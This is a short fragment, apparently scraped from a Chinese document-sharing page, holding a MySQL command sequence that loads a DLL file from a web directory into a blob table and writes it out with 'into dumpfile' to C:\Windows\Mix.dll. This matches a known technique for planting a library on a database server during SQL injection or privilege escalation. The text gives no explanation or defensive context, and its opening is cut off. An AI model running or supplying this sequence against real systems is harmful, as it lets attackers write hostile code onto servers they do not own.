temp_mix(abc longblob); insert into temp_mix values(load_file('D:\\webdir\\Mix.dll')); select * from temp_mix into dumpfile 'C:\\Windows\\Mix.dll';

相关文档
相关文档 最新文档